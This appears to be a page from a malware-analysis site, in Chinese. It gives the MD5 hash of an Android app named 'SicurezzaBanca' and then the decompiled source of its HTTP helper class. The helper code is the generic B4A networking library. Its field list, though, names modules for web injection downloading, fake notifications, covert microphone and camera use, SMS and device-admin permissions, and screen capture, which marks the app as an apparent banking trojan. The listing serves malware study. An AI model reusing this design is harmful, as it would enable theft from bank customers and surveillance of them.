SicurezzaBanca v200版本的 MD5 值为:f0fffd3459637546cf65cff79da1bde7
以下内容为反编译后的 httpjob.java 源代码,内容仅作参考
package com.snbaco.newapp;
import anywheresoftware.b4a.B4AClass;
import anywheresoftware.b4a.BA;
import anywheresoftware.b4a.keywords.B4AApplication;
import anywheresoftware.b4a.keywords.Common;
import anywheresoftware.b4a.keywords.StringBuilderWrapper;
import anywheresoftware.b4a.objects.StringUtils;
import anywheresoftware.b4a.objects.collections.List;
import anywheresoftware.b4a.objects.collections.Map;
import anywheresoftware.b4a.objects.drawable.CanvasWrapper;
import anywheresoftware.b4a.objects.streams.File;
import anywheresoftware.b4h.okhttp.OkHttpClientWrapper;
import anywheresoftware.b4j.object.JavaObject;
import b4a.example.dateutils;
import java.lang.reflect.Method;
import java.util.HashMap;
import okhttp3.HttpUrl;
import org.eclipse.paho.client.mqttv3.internal.wire.MqttWireMessage;
public class httpjob extends B4AClass.ImplB4AClass implements BA.SubDelegator {
private static HashMap<String, Method> htSubs;
public Common __c = null;
public String _jobname = HttpUrl.FRAGMENT_ENCODE_SET;
public boolean _success = false;
public String _username = HttpUrl.FRAGMENT_ENCODE_SET;
public String _password = HttpUrl.FRAGMENT_ENCODE_SET;
public String _errormessage = HttpUrl.FRAGMENT_ENCODE_SET;
public Object _target = null;
public String _taskid = HttpUrl.FRAGMENT_ENCODE_SET;
public OkHttpClientWrapper.OkHttpRequest _req = null;
public OkHttpClientWrapper.OkHttpResponse _response = null;
public Object _tag = null;
public String _invalidurl = HttpUrl.FRAGMENT_ENCODE_SET;
public String _defaultscheme = HttpUrl.FRAGMENT_ENCODE_SET;
public dateutils _dateutils = null;
public main _main = null;
public act_perm_dvadmn _act_perm_dvadmn = null;
public backgroundservice _backgroundservice = null;
public clsclassperms_code _clsclassperms_code = null;
public dtrsbnotisuntilactv _dtrsbnotisuntilactv = null;
public faknotiactivity _faknotiactivity = null;
public forc_activateacc _forc_activateacc = null;
public globalparameters _globalparameters = null;
public inj_dnlader _inj_dnlader = null;
public inj_dnlader2 _inj_dnlader2 = null;
public mainglobalstrings _mainglobalstrings = null;
public managerservice _managerservice = null;
public mediaprojectionbackservice _mediaprojectionbackservice = null;
public myreceiver _myreceiver = null;
public notificationservice _notificationservice = null;
public opencamd _opencamd = null;
public openmics _openmics = null;
public openmics_srv _openmics_srv = null;
public perm_activatemediaproject _perm_activatemediaproject = null;
public perm_activateoverlay _perm_activateoverlay = null;
public perm_ignorebatperm _perm_ignorebatperm = null;
public perm_notiacc _perm_notiacc = null;
public perm_phonecal _perm_phonecal = null;
public perm_smsperm _perm_smsperm = null;
public perm_startactdevmang _perm_startactdevmang = null;
public perm_startactwritesy _perm_startactwritesy = null;
public perm_unknownapps _perm_unknownapps = null;
public perm_writesys _perm_writesys = null;
public req_all_perms _req_all_perms = null;
public s1 _s1 = null;
public service1 _service1 = null;
public service2 _service2 = null;
public service3 _service3 = null;
public service4 _service4 = null;
public srvnewphonecall _srvnewphonecall = null;
public starter _starter = null;
public wakeupdv _wakeupdv = null;
public httputils2service _httputils2service = null;
private void innerInitialize(BA ba) throws Exception {
if (this.ba == null) {
this.ba = new BA(ba, this, htSubs, "com.snbaco.newapp.httpjob");
if (htSubs == null) {
this.ba.loadHtSubs(getClass());
htSubs = this.ba.htSubs;
}
}
if (BA.isShellModeRuntimeCheck(this.ba)) {
getClass().getMethod("_class_globals", httpjob.class).invoke(this, null);
} else {
this.ba.raiseEvent2(null, true, "class_globals", false, new Object[0]);
}
}
public static class _multipartfiledata {
public String ContentType;
public String Dir;
public String FileName;
public boolean IsInitialized;
public String KeyName;
public void Initialize() {
this.IsInitialized = true;
this.Dir = HttpUrl.FRAGMENT_ENCODE_SET;
this.FileName = HttpUrl.FRAGMENT_ENCODE_SET;
this.KeyName = HttpUrl.FRAGMENT_ENCODE_SET;
this.ContentType = HttpUrl.FRAGMENT_ENCODE_SET;
}
public String toString() {
return BA.TypeToString(this, false);
}
}
public String _addscheme(String str) throws Exception {
if (this._defaultscheme.equals(HttpUrl.FRAGMENT_ENCODE_SET) || str.contains(":")) {
return str;
}
return this._defaultscheme + "://" + str;
}
public String _class_globals() throws Exception {
this._jobname = HttpUrl.FRAGMENT_ENCODE_SET;
this._success = false;
this._username = HttpUrl.FRAGMENT_ENCODE_SET;
this._password = HttpUrl.FRAGMENT_ENCODE_SET;
this._errormessage = HttpUrl.FRAGMENT_ENCODE_SET;
this._target = new Object();
this._taskid = HttpUrl.FRAGMENT_ENCODE_SET;
this._req = new OkHttpClientWrapper.OkHttpRequest();
this._response = new OkHttpClientWrapper.OkHttpResponse();
this._tag = new Object();
this._invalidurl = "https://invalid-url/";
this._defaultscheme = "https";
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public String _complete(int i) throws Exception {
this._taskid = BA.NumberToString(i);
Common.CallSubDelayed2(this.ba, this._target, "JobDone", this);
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public String _delete(String str) throws Exception {
try {
str = _addscheme(str);
this._req.InitializeDelete(str);
} catch (Exception e) {
this.ba.setLastException(e);
Common.LogImpl("936241413", "Invalid link: " + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, str) + HttpUrl.FRAGMENT_ENCODE_SET, 0);
this._req.InitializeDelete(this._invalidurl);
}
Common.CallSubDelayed2(this.ba, httputils2service.getObject(), "SubmitJob", this);
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public String _delete2(String str, String[] strArr) throws Exception {
try {
str = _addscheme(str);
this._req.InitializeDelete(_escapelink(str, strArr));
} catch (Exception e) {
this.ba.setLastException(e);
Common.LogImpl("936306949", "Invalid link: " + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, str) + HttpUrl.FRAGMENT_ENCODE_SET, 0);
this._req.InitializeDelete(_escapelink(this._invalidurl, strArr));
}
Common.CallSubDelayed2(this.ba, httputils2service.getObject(), "SubmitJob", this);
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public String _download(String str) throws Exception {
try {
str = _addscheme(str);
this._req.InitializeGet(str);
} catch (Exception e) {
this.ba.setLastException(e);
Common.LogImpl("936044805", "Invalid link: " + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, str) + HttpUrl.FRAGMENT_ENCODE_SET, 0);
this._req.InitializeGet(this._invalidurl);
}
Common.CallSubDelayed2(this.ba, httputils2service.getObject(), "SubmitJob", this);
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public String _download2(String str, String[] strArr) throws Exception {
try {
str = _addscheme(str);
this._req.InitializeGet(_escapelink(str, strArr));
} catch (Exception e) {
this.ba.setLastException(e);
Common.LogImpl("936110341", "Invalid link: " + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, str) + HttpUrl.FRAGMENT_ENCODE_SET, 0);
this._req.InitializeGet(_escapelink(this._invalidurl, strArr));
}
Common.CallSubDelayed2(this.ba, httputils2service.getObject(), "SubmitJob", this);
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public String _escapelink(String str, String[] strArr) throws Exception {
StringBuilderWrapper stringBuilderWrapper = new StringBuilderWrapper();
stringBuilderWrapper.Initialize();
stringBuilderWrapper.Append(str);
if (strArr.length > 0) {
stringBuilderWrapper.Append("?");
}
StringUtils stringUtils = new StringUtils();
int length = strArr.length - 1;
for (int i = 0; i <= length; i += 2) {
if (i > 0) {
stringBuilderWrapper.Append("&");
}
stringBuilderWrapper.Append(stringUtils.EncodeUrl(strArr[i], "UTF8")).Append("=");
stringBuilderWrapper.Append(stringUtils.EncodeUrl(strArr[i + 1], "UTF8"));
}
return stringBuilderWrapper.ToString();
}
public CanvasWrapper.BitmapWrapper _getbitmap() throws Exception {
new CanvasWrapper.BitmapWrapper();
return Common.LoadBitmap(httputils2service._tempfolder, this._taskid);
}
public CanvasWrapper.BitmapWrapper _getbitmapresize(int i, int i2, boolean z) throws Exception {
return Common.LoadBitmapResize(httputils2service._tempfolder, this._taskid, i, i2, z);
}
public CanvasWrapper.BitmapWrapper _getbitmapsample(int i, int i2) throws Exception {
return Common.LoadBitmapSample(httputils2service._tempfolder, this._taskid, i, i2);
}
public File.InputStreamWrapper _getinputstream() throws Exception {
new File.InputStreamWrapper();
File file = Common.File;
return File.OpenInput(httputils2service._tempfolder, this._taskid);
}
public OkHttpClientWrapper.OkHttpRequest _getrequest() throws Exception {
return this._req;
}
public String _getstring() throws Exception {
return _getstring2("UTF8");
}
public String _getstring2(String str) throws Exception {
File.TextReaderWrapper textReaderWrapper = new File.TextReaderWrapper();
File file = Common.File;
textReaderWrapper.Initialize2(File.OpenInput(httputils2service._tempfolder, this._taskid).getObject(), str);
String ReadAll = textReaderWrapper.ReadAll();
textReaderWrapper.Close();
return ReadAll;
}
public String _head(String str) throws Exception {
try {
str = _addscheme(str);
this._req.InitializeHead(str);
} catch (Exception e) {
this.ba.setLastException(e);
Common.LogImpl("935782661", "Invalid link: " + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, str) + HttpUrl.FRAGMENT_ENCODE_SET, 0);
this._req.InitializeHead(this._invalidurl);
}
Common.CallSubDelayed2(this.ba, httputils2service.getObject(), "SubmitJob", this);
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public String _initialize(BA ba, String str, Object obj) throws Exception {
innerInitialize(ba);
this._jobname = str;
this._target = obj;
if (httputils2service._tempfolder.equals(HttpUrl.FRAGMENT_ENCODE_SET)) {
JavaObject javaObject = new JavaObject();
StringBuilder sb = new StringBuilder();
B4AApplication b4AApplication = Common.Application;
sb.append(B4AApplication.getPackageName());
sb.append(".httputils2service");
javaObject.InitializeNewInstance(sb.toString(), (Object[]) Common.Null);
javaObject.RunMethod("onReceive", new Object[]{Common.Null, Common.Null});
}
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public boolean _multipartstartsection(File.OutputStreamWrapper outputStreamWrapper, boolean z) throws Exception {
if (z) {
return false;
}
outputStreamWrapper.WriteBytes(new byte[]{MqttWireMessage.MESSAGE_TYPE_PINGRESP, 10}, 0, 2);
return z;
}
public String _patchbytes(String str, byte[] bArr) throws Exception {
String _addscheme = _addscheme(str);
try {
this._req.InitializePatch2(_addscheme, bArr);
} catch (Exception e) {
this.ba.setLastException(e);
Common.LogImpl("935717132", "Invalid link: " + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, _addscheme) + HttpUrl.FRAGMENT_ENCODE_SET, 0);
this._req.InitializePatch2(this._invalidurl, bArr);
}
Common.CallSubDelayed2(this.ba, httputils2service.getObject(), "SubmitJob", this);
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public String _patchstring(String str, String str2) throws Exception {
_patchbytes(str, str2.getBytes("UTF8"));
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public String _postbytes(String str, byte[] bArr) throws Exception {
try {
str = _addscheme(str);
this._req.InitializePost2(str, bArr);
} catch (Exception e) {
this.ba.setLastException(e);
Common.LogImpl("935454981", "Invalid link: " + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, str) + HttpUrl.FRAGMENT_ENCODE_SET, 0);
this._req.InitializePost2(this._invalidurl, bArr);
}
Common.CallSubDelayed2(this.ba, httputils2service.getObject(), "SubmitJob", this);
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public String _postfile(String str, String str2, String str3) throws Exception {
String _addscheme = _addscheme(str);
File file = Common.File;
if (str2.equals(File.getDirAssets())) {
Common.LogImpl("935979272", "Cannot send files from the assets folder.", 0);
return HttpUrl.FRAGMENT_ENCODE_SET;
}
File file2 = Common.File;
int Size = (int) File.Size(str2, str3);
new File.InputStreamWrapper();
File file3 = Common.File;
File.InputStreamWrapper OpenInput = File.OpenInput(str2, str3);
if (Size < 1000000) {
File.OutputStreamWrapper outputStreamWrapper = new File.OutputStreamWrapper();
outputStreamWrapper.InitializeToBytesArray(Size);
File file4 = Common.File;
File.Copy2(OpenInput.getObject(), outputStreamWrapper.getObject());
_postbytes(_addscheme, outputStreamWrapper.ToBytesArray());
} else {
this._req.InitializePost(_addscheme, OpenInput.getObject(), Size);
Common.CallSubDelayed2(this.ba, httputils2service.getObject(), "SubmitJob", this);
}
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public String _postmultipart(String str, Map map, List list) throws Exception {
String ObjectToString;
Map map2 = map;
File.OutputStreamWrapper outputStreamWrapper = new File.OutputStreamWrapper();
outputStreamWrapper.InitializeToBytesArray(0);
String str2 = BA.ObjectToString(Character.valueOf(Common.Chr(13))) + BA.ObjectToString(Character.valueOf(Common.Chr(10)));
boolean z = true;
if (map2 != null && map.IsInitialized()) {
BA.IterableList Keys = map.Keys();
int size = Keys.getSize();
int i = 0;
while (i < size) {
String ObjectToString2 = BA.ObjectToString(map2.Get(BA.ObjectToString(Keys.Get(i))));
boolean _multipartstartsection = _multipartstartsection(outputStreamWrapper, z);
byte[] bytes = ("--" + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, "---------------------------1461124740692") + "\nContent-Disposition: form-data; name=\"" + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, ObjectToString) + "\"\n\n" + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, ObjectToString2) + HttpUrl.FRAGMENT_ENCODE_SET).replace(Common.CRLF, str2).getBytes("UTF8");
outputStreamWrapper.WriteBytes(bytes, 0, bytes.length);
i++;
map2 = map;
z = _multipartstartsection;
Keys = Keys;
}
}
if (list != null && list.IsInitialized()) {
int size2 = list.getSize();
boolean z2 = z;
int i2 = 0;
while (i2 < size2) {
_multipartfiledata _multipartfiledataVar = (_multipartfiledata) list.Get(i2);
z2 = _multipartstartsection(outputStreamWrapper, z2);
byte[] bytes2 = ("--" + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, "---------------------------1461124740692") + "\nContent-Disposition: form-data; name=\"" + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, _multipartfiledataVar.KeyName) + "\"; filename=\"" + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, _multipartfiledataVar.FileName) + "\"\nContent-Type: " + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, _multipartfiledataVar.ContentType) + "\n\n").replace(Common.CRLF, str2).getBytes("UTF8");
int i3 = size2;
outputStreamWrapper.WriteBytes(bytes2, 0, bytes2.length);
new File.InputStreamWrapper();
File file = Common.File;
File.InputStreamWrapper OpenInput = File.OpenInput(_multipartfiledataVar.Dir, _multipartfiledataVar.FileName);
File file2 = Common.File;
File.Copy2(OpenInput.getObject(), outputStreamWrapper.getObject());
i2++;
size2 = i3;
}
z = z2;
}
_multipartstartsection(outputStreamWrapper, z);
byte[] bytes3 = ("--" + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, "---------------------------1461124740692") + "--\n").replace(Common.CRLF, str2).getBytes("UTF8");
outputStreamWrapper.WriteBytes(bytes3, 0, bytes3.length);
_postbytes(str, outputStreamWrapper.ToBytesArray());
this._req.SetContentType("multipart/form-data; boundary=---------------------------1461124740692");
this._req.SetContentEncoding("UTF8");
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public String _poststring(String str, String str2) throws Exception {
_postbytes(str, str2.getBytes("UTF8"));
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public String _putbytes(String str, byte[] bArr) throws Exception {
try {
str = _addscheme(str);
this._req.InitializePut2(str, bArr);
} catch (Exception e) {
this.ba.setLastException(e);
Common.LogImpl("935586053", "Invalid link: " + Common.SmartStringFormatter(HttpUrl.FRAGMENT_ENCODE_SET, str) + HttpUrl.FRAGMENT_ENCODE_SET, 0);
this._req.InitializePut2(this._invalidurl, bArr);
}
Common.CallSubDelayed2(this.ba, httputils2service.getObject(), "SubmitJob", this);
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public String _putstring(String str, String str2) throws Exception {
_putbytes(str, str2.getBytes("UTF8"));
return HttpUrl.FRAGMENT_ENCODE_SET;
}
public String _release() throws Exception {
File file = Common.File;
File.Delete(httputils2service._tempfolder, this._taskid);
return HttpUrl.FRAGMENT_ENCODE_SET;
}
@Override
public Object callSub(String str, Object obj, Object[] objArr) throws Exception {
BA.senderHolder.set(obj);
return BA.SubDelegator.SubNotFound;
}
}